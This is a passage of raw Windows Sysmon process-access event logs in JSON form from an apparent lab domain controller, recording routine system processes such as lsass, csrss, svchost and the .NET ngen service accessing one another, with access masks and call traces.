C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.043","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.043\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-435B-5F2D-0000-001009C11100}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.043","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-435B-5F2D-0000-001009C11100}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4381-5F2D-0000-00103E1B1200}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4381-5F2D-0000-00103E1B1200}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.420\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4381-5F2D-0000-00103E1B1200}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.420","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4381-5F2D-0000-00103E1B1200}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.700\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.700","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.700\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.700","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 